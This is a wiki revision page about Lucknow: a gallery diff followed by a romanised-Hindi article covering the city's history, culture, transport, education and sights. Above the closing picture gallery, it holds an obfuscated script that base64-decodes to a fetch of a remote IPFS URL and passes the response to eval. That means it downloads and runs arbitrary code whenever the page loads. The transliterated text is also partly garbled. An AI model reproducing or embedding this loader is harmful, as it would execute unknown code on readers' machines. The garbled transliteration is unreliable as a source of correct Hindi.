Difference between revisions of "लखनऊ"
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<gallery> | <gallery> | ||
| + | चित्र:Iman-Barra-And-Roome-Durwaza-From-Moosah-Bagh.jpg|मूसा बाग़ से [[बड़ा इमामबाड़ा लखनऊ|बड़े इमामबाड़े]] और [[रूमी दरवाज़ा लखनऊ|रूमी दरवाज़े]] का एक दृश्य, लखनऊ (1860) | ||
चित्र:A-Veiw-Of-Lucknow.jpg|[[गोमती नदी]] से प्राचीन लखनऊ का एक दृश्य | चित्र:A-Veiw-Of-Lucknow.jpg|[[गोमती नदी]] से प्राचीन लखनऊ का एक दृश्य | ||
चित्र:Machhi-Bhawan-And-Aurangzeb-Mosque-Lucknow.jpg|मच्छी भवन क़िला और औरंगज़ेब मस्जिद, लक्ष्मण टीला, लखनऊ | चित्र:Machhi-Bhawan-And-Aurangzeb-Mosque-Lucknow.jpg|मच्छी भवन क़िला और औरंगज़ेब मस्जिद, लक्ष्मण टीला, लखनऊ | ||
| Line 169: | Line 170: | ||
चित्र:Street-In-Lucknow.jpg|सड़क का एक दृश्य, लखनऊ (1857) | चित्र:Street-In-Lucknow.jpg|सड़क का एक दृश्य, लखनऊ (1857) | ||
चित्र:Punj-Mahalla-Gate-Lucknow.jpg|पुंज महल्ला गेट, लखनऊ (1801) | चित्र:Punj-Mahalla-Gate-Lucknow.jpg|पुंज महल्ला गेट, लखनऊ (1801) | ||
| + | चित्र:Rumi-Darwaza-Lucknow-2.jpg|[[रूमी दरवाज़ा लखनऊ|रूमी दरवाज़ा]], लखनऊ (1814-15 ) | ||
चित्र:Lord-Hastings-Entering-In-Lucknow.jpg|[[लॉर्ड हेस्टिंग्स]] [[हाथी|हाथियों]] पर सवार अपने साथियों के साथ लखनऊ में प्रवेश करते हुए (1814-15) | चित्र:Lord-Hastings-Entering-In-Lucknow.jpg|[[लॉर्ड हेस्टिंग्स]] [[हाथी|हाथियों]] पर सवार अपने साथियों के साथ लखनऊ में प्रवेश करते हुए (1814-15) | ||
चित्र:Lucknow-1.jpg|प्राचीन लखनऊ का एक दृश्य (1858) | चित्र:Lucknow-1.jpg|प्राचीन लखनऊ का एक दृश्य (1858) | ||
| + | चित्र:Rumi-Darwaza-Lucknow-5.jpg|[[रूमी दरवाज़ा लखनऊ|रूमी दरवाज़ा]], लखनऊ (1800) | ||
चित्र:View-From-The-Fort-Lucknow.jpg|क़िले से लखनऊ का एक दृश्य (1864) | चित्र:View-From-The-Fort-Lucknow.jpg|क़िले से लखनऊ का एक दृश्य (1864) | ||
चित्र:Lucknow-Gate.jpg|लखनऊ द्वार (1892) | चित्र:Lucknow-Gate.jpg|लखनऊ द्वार (1892) | ||
| + | चित्र:Rumi-Darwaza-Lucknow-3.jpg|[[रूमी दरवाज़ा लखनऊ|रूमी दरवाज़ा]], लखनऊ (1857 ) | ||
चित्र:Street-Scene-Lucknow.jpg|प्राचीन लखनऊ के बज़ार का एक दृश्य (1800) | चित्र:Street-Scene-Lucknow.jpg|प्राचीन लखनऊ के बज़ार का एक दृश्य (1800) | ||
चित्र:Gomti-River-Lucknow.jpg|[[गोमती नदी]], लखनऊ (1890) | चित्र:Gomti-River-Lucknow.jpg|[[गोमती नदी]], लखनऊ (1890) | ||
चित्र:Palace-Of-Shujah-Ud-Daulah-Lucknow.jpg|[[शुजाउद्दौला]] महल, लखनऊ | चित्र:Palace-Of-Shujah-Ud-Daulah-Lucknow.jpg|[[शुजाउद्दौला]] महल, लखनऊ | ||
| + | चित्र:Rumi-Darwaza-Lucknow-4.jpg|[[रूमी दरवाज़ा लखनऊ|रूमी दरवाज़ा]], लखनऊ (1800) | ||
</gallery> | </gallery> | ||
Revision as of 12:24, 24 October 2011
lakhanoo
| |
| vivaran | lakhanoo nagar bharat ganarajy ke sarvadhik abadi vale rajy uttar pradesh ki rajadhani hai. |
| rajy | uttar pradesh |
| zila | lakhanoo zila |
| bhaugolik sthiti | uttar- 26°85', poorv- 80°92' |
| marg sthiti | lakhanoo shahar s dak dvara ilahabad se 205 kilomitar, varanasi se 323 kilomitar, agara se 325 kilomitar, mathura se 374 kilomitar, dilli se 468 kilomitar doori par sthit hai. |
| prasiddhi | lakhanoo shahar ek vishishht prakar ki kadhaee, chikan se saje hue paridhanoan aur kap doan ke lie bhi prasiddh hai. |
| kab jaean | navanbar se march |
| kaise pahuanchean | havaee jahaz, rel, bas adi se pahuancha ja sakata hai. |
| havaee adda | amausi aantarrashtriy havaee adda |
| relave steshan | charabag relave steshan, aishabag relave steshan, lakhanoo siti relave steshan, alamanagar relave steshan, badashahanagar relave steshan, amausi relave steshan |
| bas adda | charabag bas tarminas, kesarabag bas tarminas, d aau. bhimarav ambedakar bas tarminas |
| yatayat | siti bas seva, taiksi, saikil riksha, aautoriksha, tempo evan sienaji basean |
| kya dekhean | lakhanoo paryatan |
| kahaan thaharean | hotal, dharmashala, atithi grah |
| kya khayean | zayakedar malaee gilauri (pan), badam halava, ras-malaee aur chatapati chat |
| kya kharidean | chikan aur jaradausi ke kap de, abhooshanoan aur hastashilp ka saman kharida ja sakata hai. |
| es.ti.di. kod | 0522 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | googal manachitr |
| bhasha | hindi, urdoo, aangrezi |
| adyatan | 17:42, 5 janavari 2011 (IST)
|
| lakhanoo | lakhanoo paryatan | lakhanoo zila |
lakhanoo nagar bharat ganarajy ke sarvadhik abadi vale rajy uttar pradesh ki rajadhani hai. lakhanoo nagar gomati nadi ke kinare par basa hua hai. lakhanoo nagar mean, lakhanoo zila aur lakhanoo mandal ka prashasanik mukhyalay hai. lakhanoo nagar apani khas nazakat aur tahajib vali bahusanskriti, am ke bagoan aur chikan ki kadhaee, namachin katthak nrity kala ka janmasthal, begam akhttar ki gazaloan ka saroor lie 'pahale ap' ki tahazibo adab aur sham-e-avadh ke lie jane jana vala navabi tabiyat ka poori duniya mean ek hi shahar hai.
[[chitr:Clock-Tower-Lucknow.jpg|thumb|left|ghantaghar, lakhanoo
Clock Tower, Lucknow]]
sthiti
ganga ke vishal uttari maidan ke hriday kshetr mean sthit lakhanoo shahar bahut se prasiddh sthanoan se ghira hai. amaraiyoan ka shahar malihabad, aitihasik kakori, mohanalalaganj, gosaaneeganj, chinhat aur itauanja. is shahar ke poorvi or barabanki zila hai, pashchim or unnav zila evan dakshin ki or rayabareli zila hai. isake uttar mean sitapur aur haradoee zile haian. gomati nadi, mukhy bhaugolik bhag, shahar ke bichoan bich se nikalati hai, aur lakhanoo ko traans-gomati evan sis-gomati kshetroan mean vibhajit karati hai. lakhanoo shahar bhookamp kshetr ke tritiy star mean ata hai. shahar ke bich se gomati nadi bahati hai, jo lakhanoo ki sanskriti ka hissa hai.
itihas
lakhanoo ko aitihasik roop se avadh kshetr ke nam se jana jata tha. puratattvavettaoan ke anusar isaka prachin nam lakshmanapur tha. ram ke chhote bhaee lakshman ne ise basaya tha. yahaan ke shiya navaboan ne shishtachar, khoobasoorat udyanoan, kavita, sangit, aur badhiya vyanjanoan ko sadaiv sanrakshan diya gaya. lakhanoo ko navaboan ka shahar bhi kaha jata hai. lakhanoo ko poorv ka svarn nagar aur shiraj-e-hiand ke roop mean jana jata hai.
lakhanoo prachin kosal rajy ka hissa tha. ise bhagavan ram ne apane bhaee lakshman ko sauanp diya tha. ise lakshmanavati, lakshmanapur ya lakhanapur ke nam se bhi jana gaya, jo bad mean badal kar lakhanoo ho gaya. lakhanoo se ayodhya sirf 40 mil ki doori par hai.
avadh ke navaboan ne jab lakhanoo ko rajadhani banaya to merath aur dilli ke sath-sath ek aur b da shahar lakhanoo astitv mean aya. mugal vastukala se dekhean to avadh ke navaboan ne lakhanoo ko bhavy imaratoan ka nagar banane mean koee kami baki nahian rakhi.
kala aur sanskriti ke sanrakshak avadh ke navaboan ke shasanakal mean ki gee mugal chitrakari aj bhi kee sangrahalayoan mean hai. b da imamaba da, chhota imamaba da tatha roomi daravaza mugal vastukala ke adbhut udaharan haian.
[[chitr:Chota-Imambara-Lucknow.jpg|thumb|250px|left|chhota imamaba da, lakhanoo
Chota Imambara, Lucknow]]
- lakhanoo ke vartaman svaroop ki sthapana navab asafuddaula ne 1775 ee. mean ki thi.
- avadh ke shasakoan ne lakhanoo ko apani rajadhani banakar ise samriddh kiya.
- kalaantar mean navab vilasi aur nikamme siddh hue.
- in navaboan ke alasi svabhav ke karan l aaurd dalahauzi ne avadh ko bina yuddh hi adhigrahan kar british samrajy mean mila liya.
- 1850 mean avadh ke antim navab vajidali shah ne british adhinata svikar kar li. lakhanoo ke navaboan ka shasan is prakar samapt hua.
- san 1902 mean 'narth vest provins' ka nam badal kar 'yoonaitid provins aauph agara end avadh' kar diya gaya. sadharan bolachal ki bhasha mean ise 'yoonaited provins' ya 'yoopi' kaha gaya.
- san 1920 mean pradesh ki rajadhani ko ilahabad se badal kar lakhanoo kar diya gaya.
- 'akhil bharatiy kisan sabh' ka ayojan 1934 ee. mean lakhanoo mean hi kiya gaya tha.
- svatantrata ke bad 12 janavari san 1950 mean isaka nam badal kar uttar pradesh rakh diya gaya aur lakhanoo isaki rajadhani bana.
- is prakar yah apane poorv laghunam 'yoopi' se ju da raha.
uchch nyayalay
- pradesh ka uchch nyayalay ilahabad hi bana raha aur lakhanoo mean uchch nyayalay ki ek nyayapith sthapit ki gayi.
- goviand vallabh pant is pradesh ke pratham mukhyamantri bane.
- aktoobar 1963 mean sucheta kripalani uttar-pradesh evan bharat ki pratham mahila mukhyamantri banian.
bhasha
yah hindi aur urdoo sahity ke keandroan mean se ek hai. lakhanoo mean adhikaansh log hindi bolate haian. yahaan ki hindi mean lakhanavi aandaz hai, jo vishvaprasiddh hai. isake alava yahaan urdoo aur aangrezi bhi boli jati haian.
vyavasay aur udyog
thumb|250px|sone ki purani khan, lakhanoo
Old Gold Mine, Lucknow
chikan aur zari ke kam ka yah pramukh kendr hai. lakhanoo ka chikan, yahaan ke hunaramandoan ki karigari[1], lakhanavi zaradozi ki bahut prasiddhi hai. purane lakhanoo ke chauk ilake ka zyadatar hissa chikan kashidakari ki dukanoan se bhara p da hai. lakhanoo ka chikan ki kadhaee ka vyapar bahut prasiddh hai. yah ek laghu-udyog hai. yah laghu udyog yahaan ke chauk kshetr ke ghar ghar mean faila hua hai. chikan evan lakhanavi zaradozi, donoan hi desh ke lie videshi mudra late haian. chikan ne b aaulivud evan videshoan ke phaishan dizainaroan ko sadaiv akarshit kiya hai.
chauk mean hi muanh mean pani la dene vale mithaiyoan ki dukane bhi haian, yahaan ki zayakedar malaee gilauri (pan), badam halava aur ras-malaee, aur chatapati chat bahut prasiddh hai. lakhanoo hamesha se hi lajij pakavanoan ke lie mashahoor raha hai. sabase zyada prasiddi mili hai tuande navab ke kabab ko. chauk ki ghumavadar galiyoan mean se ek gali mean maujood hai tuande navab ki yah 100 sal purani dukan.
shahar mean aj bhi atit ki suandar jhalakiyaan dekhi ja sakati haian. prachin kal se hi yah shahar resham, itr, chikan ke kap dean, abhooshanoan, svadisht bhojan aur navabi shishtachar ke lie prasiddh hai.
kala
avadh ke navaboan ke is shahar mean kathak, thumari, khayal, dadara, kavvali, gazal aur shero shayari jaisi kala bhi shikhar par pahuanchi thian.
parivahan
- vayumarg lakhanoo ka 'amausi eyaraport' dilli, mumbee, kolakata, chainnee, baiangalor, jayapur, pune, bhuvaneshvar, guvahati aur ahamadabad se pratidin sidhi phlait dvara ju da hua hai. amausi aantarrashtriy havaee adda lakhanoo ka mukhy viman kshetr hai. yah nagar se lagabhag 20 kilomitar ki doori par hai. yah kee aantarrashtriy vayu sevaoan ke dvara aantarrashtriy gantavyoan se ju da hua hai. in gantavyoan mean landan, dubee, jeddah, maskat, sharajah, siangapur evan haangakaang adi haian. haj mubarak ke samay yahaan se vishesh u danean sidhe jeddah ke lie rahati haian.
thumb|250px|left|asafi masjid, lakhanoo
Asfi Mosque, Lucknow
- relamarg lakhanoo jankshan bharat ke pramukh shaharoan se anek relaga diyoan ke madhyam se ju da hua hai. dilli se lakhanoo mel aur shatabdi eksapres, mumbee se pushpak eksapres, kolakata se doon aur amritasar eksapres ke madhyam se lakhanoo pahuancha ja sakata hai. lakhanoo mean kee relave steshan haian. shahar mean mukhy relave steshan charabag relave steshan hai. is steshan ka sundar mahalanuma bhavan 1923 mean bana tha. mukhy tarminal uttar relave ka hai jisaka steshan kod: LKO hai. doosara tarminal poorvottar relave mandal ka hai, jisaka steshan kod: LJN hai. lakhanoo ek pradhan jankshan steshan hai, jo bharat ke lagabhag sabhi mukhy nagaroan se rel dvara ju da hua hai. mukhy relave steshan par ajakal 15 relave pletaf aaurm haian. desh ke vyastatam relave steshanoan mean se ek banane ki ummid hai. yah steshan shighr hi vishvastariy steshan ban jaega aisi ummid hai.
- s dak marg rashtriy rajamarg 24 se dilli se sidhe lakhanoo pahuancha ja sakata hai. lakhanoo ka rashtriy rajamarg 2 dilli ko agara, ilahabad, varanasi aur kanapur ke raste kolakata ko jodata hai. pramukh bas tarminas alamabag ka d aau. bhimarav ambedakar bas tarminas hai. isake atirikt any pramukh bas tarminas kesarabag aur charabag the, jinamean se charabag bas tarminas ko, jo charabag relave steshan ke samane tha, nagar bas dipo bana kar sthanaantarit kar diya gaya hai. yah sthanaantaran relave steshan ke samane ki bhi dabha d ko niyantrit karane ke lie kiya gaya hai.
shiksha
thumb|250px|la martiniyar mahavidyalay, lakhanoo
La Martiniere College, Lucknow
- lakhanoo mean chhah vishvavidyalay haian:
- lakhanoo vishvavidyalay
- uttar pradesh takaniki vishvavidyalay(yoo. pi. ti. yoo.)
- ramamanohar lohiya rashtriy vidhi vishvavidyalay(lohiya l aau vi.vi.)
- baba saheb bhimarav aanbedakar vishvavidyalay
- emiti vishvavidyalay
- iantigral vishvavidyalay
- yahaan kee uchch chikitsa sansthan bhi haian:
- sanjay gaandhi snatakottar ayurvijnan sansthan(es.ji.pi.ji.aee.)
- chhatrapati shahooji maharaj ayurvijnan vishvavidyalay (jise pahale kiang j aaurj medikal k aaulij kahate the) ke alava nirmanadhin sahara aspatal, apolo aspatal, eraz lakhanoo medikal k aaulij bhi haian.
- prabandhan sansthanoan mean bharatiy prabandhan sansthan, lakhanoo (aee.aee.em.), ianstityoot aauph mainejameant saiansez ate haian.
- yahaan bharat ke pramukhatam niji vishvavidyalayoan mean se ek, emiti vishvavidyalay ka bhi parisar hai.
- isake alava yahaan bahut se uchchatar madhyamik shiksha ke bhi sarakari evan niji vidyalay haian. inamean se kuchh pramukh haian:
- siti m aauntesari skool
- la martiniyar mahavidyalay
- jayapuriya skool
- k aaulvin tallukedar skool
- emma th aaumpasan skool
- seant phraansis skool
- mahanagar b aauyaz
anusandhan shodh sansthan
[[chitr:Residency-Lucknow.jpg|thumb|250px|resideansi sangrahalay, lakhanoo
Residency Museum, Lucknow]]
- lakhanoo mean desh ke kee uchch shiksha evan shodh sansthan bhi haian. inamean se kuchh haian:
- kiang jarj medikal k aaulej
- birabal sahani anusandhan sansthan
- yahaan bharat ke vaijnanik evan audyogik anusandhan parishad ki char pramukh prayogashalaean haian-
- kendriy aushadhi anusandhan sansthan
- audyogik vish vijnan anusandhan kendr
- rashtriy vanaspati vijnan anusandhan sansthan(en.bi.ar.aee.)
- kendriy aushadhiy evan sagandh paudha sansthan
janasankhya
2006 mean lakhanoo ki janasankhya 2,541,101 thi. bharat sarakar ki 2001 ki janaganana, samajik, arthik soochakaank ke anusar, lakhanoo zila alpasankhyakoan ki ghani abadi vala zila hai. kanapur ke bad yah nagar uttar-pradesh ka sabase b da shahari kshetr hai. aj ka lakhanoo ek jivant shahar hai. lakhanoo ko bharat ke teji se badh rahe gair-mahanagaroan ke shirsh pandrah mean se ek mana gaya hai. lakhanoo ki adhikaansh janasankhya poorvardh uttar pradesh se hai. phir bhi yahaan pashchimi uttar pradesh ke logoan ke alava bangali, dakshin bharatiy evan aangl-bharatiy log bhi base hue haian. lakhanoo ki kul janasankhya ka 77% hindoo evan 20% muslim log haian. shesh bhag mean sikh, jain, eesaee evan bauddh log haian.
saksharata
lakhanoo bharat ke sabase sakshar shaharoan mean se ek hai. yahaan ki saksharata dar 82.5% hai, striyoan ki 78% evan purushoan ki saksharata 89% haian.
paryatan
- REDIRECTsaancha:mukhy
[[chitr:Rumi-Darwaza-Lucknow.jpg|thumb|250px|roomi daravaza, lakhanoo
Rumi Darwaza, Lucknow]]
navaboan ne is nagar mean anek bhavanoan ka nirman kiya, jinamean
- b da imamaba da
- chhota imamaba da
- roomi daravaza
- baradari
- chhattar manzil
- dilakush
- residensi pramukh haian.
- adhunik bhavan mean vidhanasabha bhavan aur charabag relave steshan ke nam se ullekhaniy hai.
- is nagar ko 'bagoan ka shahar' bhi kaha jata hai.
- yahaan rajakiy sangrahalay bhi hai. jisaki sthapana 1863 mean ki gee thi.
- 500 varsh purani muslim sant shah mina ki qabr bhi yahian par hai.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vithika
Panoramic View Of Bara Imambara, Lucknow]]
- chitr:Iman-Barra-And-Roome-Durwaza-From-Moosah-Bagh.jpg
moosa bag se b de imamaba de aur roomi daravaze ka ek drishy, lakhanoo (1860)
- chitr:A-Veiw-Of-Lucknow.jpg
gomati nadi se prachin lakhanoo ka ek drishy
- chitr:Machhi-Bhawan-And-Aurangzeb-Mosque-Lucknow.jpg
machchhi bhavan qila aur aurangazeb masjid, lakshman tila, lakhanoo
- chitr:A-Veiw-Of-Lucknow-1.jpg
roomi daravaza, lakhanoo (1860)
- chitr:Lucknow-Bazaar-Near-The-Gomti.jpg
gomati ke pas purane pul par lakhanoo ka bazar
- chitr:Lucknow.jpg
lakhanoo ka ek drishy (1860)
- chitr:Street-In-Lucknow.jpg
s dak ka ek drishy, lakhanoo (1857)
- chitr:Punj-Mahalla-Gate-Lucknow.jpg
puanj mahalla get, lakhanoo (1801)
- chitr:Rumi-Darwaza-Lucknow-2.jpg
roomi daravaza, lakhanoo (1814-15 )
- chitr:Lord-Hastings-Entering-In-Lucknow.jpg
l aaurd hestiangs hathiyoan par savar apane sathiyoan ke sath lakhanoo mean pravesh karate hue (1814-15)
- chitr:Lucknow-1.jpg
prachin lakhanoo ka ek drishy (1858)
- chitr:Rumi-Darwaza-Lucknow-5.jpg
roomi daravaza, lakhanoo (1800)
- chitr:View-From-The-Fort-Lucknow.jpg
qile se lakhanoo ka ek drishy (1864)
- chitr:Lucknow-Gate.jpg
lakhanoo dvar (1892)
- chitr:Rumi-Darwaza-Lucknow-3.jpg
roomi daravaza, lakhanoo (1857 )
- chitr:Street-Scene-Lucknow.jpg
prachin lakhanoo ke bazar ka ek drishy (1800)
- chitr:Gomti-River-Lucknow.jpg
gomati nadi, lakhanoo (1890)
- chitr:Palace-Of-Shujah-Ud-Daulah-Lucknow.jpg
shujauddaula mahal, lakhanoo
- chitr:Rumi-Darwaza-Lucknow-4.jpg
roomi daravaza, lakhanoo (1800)
tika tippani aur sandarbh
- ↑ malamal ke kap de par ki gee kashidakari
sanbandhit lekh
